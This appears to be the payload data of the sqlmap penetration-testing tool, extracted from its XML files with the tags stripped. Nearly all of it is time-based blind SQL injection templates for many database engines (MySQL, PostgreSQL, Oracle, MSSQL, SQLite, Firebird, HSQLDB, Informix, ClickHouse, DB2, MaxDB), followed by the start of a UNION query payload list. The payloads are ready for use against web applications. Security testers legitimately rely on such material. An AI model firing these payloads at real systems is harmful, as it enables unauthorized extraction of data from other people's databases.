SQLite > 2.0 AND time-based blind (heavy query) 5 3 2 1,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
SQLite > 2.0 OR time-based blind (heavy query) 5 3 3 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
SQLite > 2.0 AND time-based blind (heavy query - comment) 5 5 2 1,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
SQLite > 2.0 OR time-based blind (heavy query - comment) 5 5 3 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
Firebird >= 2.0 AND time-based blind (heavy query) 5 4 2 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Firebird >= 2.0
Firebird >= 2.0 OR time-based blind (heavy query) 5 4 3 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Firebird >= 2.0
Firebird >= 2.0 AND time-based blind (heavy query - comment) 5 5 2 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) --
Firebird >= 2.0
Firebird >= 2.0 OR time-based blind (heavy query - comment) 5 5 3 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) --
Firebird >= 2.0
SAP MaxDB AND time-based blind (heavy query) 5 4 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
SAP MaxDB
SAP MaxDB OR time-based blind (heavy query) 5 4 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
SAP MaxDB
SAP MaxDB AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) --
SAP MaxDB
SAP MaxDB OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) --
SAP MaxDB
HSQLDB >= 1.7.2 AND time-based blind (heavy query) 5 4 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 OR time-based blind (heavy query) 5 4 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB > 2.0 AND time-based blind (heavy query) 5 4 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB > 2.0
HSQLDB > 2.0 OR time-based blind (heavy query) 5 4 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB > 2.0
HSQLDB > 2.0 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB > 2.0
HSQLDB > 2.0 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB > 2.0
Informix AND time-based blind (heavy query) 5 2 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
Informix
Informix OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
Informix
Informix AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) --
Informix
Informix OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) --
Informix
ClickHouse AND time-based blind (heavy query) 5 4 1 1,2,3 1 AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
ClickHouse
ClickHouse OR time-based blind (heavy query) 5 5 3 1,2,3 1 OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000))
ClickHouse
MySQL >= 5.1 time-based blind (heavy query) - PROCEDURE ANALYSE (EXTRACTVALUE) 5 3 2 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1)
MySQL >= 5.0.12
MySQL >= 5.1 time-based blind (heavy query - comment) - PROCEDURE ANALYSE (EXTRACTVALUE) 5 5 2 1,2,3,4,5 1 PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) #
MySQL >= 5.0.12
MySQL >= 5.0.12 time-based blind - Parameter replace 5 2 1 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
MySQL >= 5.0.12
MySQL >= 5.0.12 time-based blind - Parameter replace (substraction) 5 3 1 1,2,3,9 3 (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL < 5.0.12 time-based blind - Parameter replace (BENCHMARK) 5 4 2 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])
MySQL < 5.0.12
MySQL > 5.0.12 time-based blind - Parameter replace (heavy query - comment) 5 5 2 1,2,3,9 3 IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL > 5.0.12
MySQL time-based blind - Parameter replace (bool) 5 4 1 1,2,3,9 3 ([INFERENCE] AND SLEEP([SLEEPTIME])) ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))
MySQL
MySQL time-based blind - Parameter replace (ELT) 5 5 1 1,2,3,9 3 ELT([INFERENCE],SLEEP([SLEEPTIME])) ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL
MySQL time-based blind - Parameter replace (MAKE_SET) 5 5 1 1,2,3,9 3 MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL
PostgreSQL > 8.1 time-based blind - Parameter replace 5 3 1 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
PostgreSQL > 8.1
PostgreSQL time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
PostgreSQL
Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries) 5 4 2 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
Microsoft SQL Server Sybase
Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 3 1 1,3,9 3 BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;
Oracle
Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
Oracle
Oracle time-based blind - Parameter replace (heavy queries) 5 4 2 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
Oracle
SQLite > 2.0 time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))))
SQLite > 2.0
Firebird time-based blind - Parameter replace (heavy query) 5 5 2 1,2,3,9 3 IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Firebird >= 2.0
SAP MaxDB time-based blind - Parameter replace (heavy query) 5 5 2 1,3,9 3 (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3)
SAP MaxDB
IBM DB2 time-based blind - Parameter replace (heavy query) 5 5 2 1,2,3,9 3 (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
IBM DB2
HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS)
HSQLDB >= 1.7.2
HSQLDB > 2.0 time-based blind - Parameter replace (heavy query) 5 5 2 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))
HSQLDB > 2.0
Informix time-based blind - Parameter replace (heavy query) 5 4 2 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR)
Informix
MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause 5 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
MySQL >= 5.0.12
MySQL < 5.0.12 time-based blind - ORDER BY, GROUP BY clause (BENCHMARK) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))
MySQL < 5.0.12
PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause 5 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE 1/(SELECT 0) END))
PostgreSQL > 8.1
PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE 1/(SELECT 0) END))
PostgreSQL
Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END)) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM]*(SELECT [RANDNUM] UNION ALL SELECT [RANDNUM1]) END))
Microsoft SQL Server Sybase
Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) 5 3 1 2,3 1 ,(BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;) ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END;)
Oracle
Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE) 5 3 1 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
Oracle
HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM INFORMATION_SCHEMA.SYSTEM_USERS) END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) --
HSQLDB >= 1.7.2
HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query) 5 4 2 2,3 1 ,(SELECT (CASE WHEN ([INFERENCE]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0))) ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (ASCII(REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL))) ELSE [RANDNUM]/(SELECT 0 FROM (VALUES(0))) END) FROM (VALUES(0)))
HSQLDB > 2.0
sqlmap-1.9.6/data/xml/payloads/union_query.xml000066400000000000000000000455501502261744200214640ustar00rootroot00000000000000 Generic UNION query ([CHAR]) - [COLSTART] to [COLSTOP] columns (custom) 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] [COLSTART]-[COLSTOP] Generic UNION query (NULL) - [COLSTART] to [COLSTOP] columns (custom) 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL [COLSTART]-[COLSTOP] Generic UNION query ([RANDNUM]) - [COLSTART] to [COLSTOP] columns (custom) 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] [COLSTART]-[COLSTOP] Generic UNION query ([CHAR]) - 1 to 10 columns 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 1-10 Generic UNION query (NULL) - 1 to 10 columns 6 1 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 1-10 Generic UNION query ([RANDNUM]) - 1 to 10 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 1-10 Generic UNION query ([CHAR]) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 11-20 Generic UNION query (NULL) - 11 to 20 columns 6 2 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 11-20 Generic UNION query ([RANDNUM]) - 11 to 20 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 11-20 Generic UNION query ([CHAR]) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 21-30 Generic UNION query (NULL) - 21 to 30 columns 6 3 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 21-30 Generic UNION query ([RANDNUM]) - 21 to 30 columns 6 4 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 21-30 Generic UNION query ([CHAR]) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 31-40 Generic UNION query (NULL) - 31 to 40 columns 6 4 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 31-40 Generic UNION query ([RANDNUM]) - 31 to 40 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [RANDNUM] 31-40 Generic UNION query ([CHAR]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] [CHAR] 41-50 Generic UNION query (NULL) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 [UNION] [GENERIC_SQL_COMMENT] NULL 41-50 Generic UNION query ([RANDNUM]) - 41 to 50 columns 6 5 1 1,2,3,4,5 1 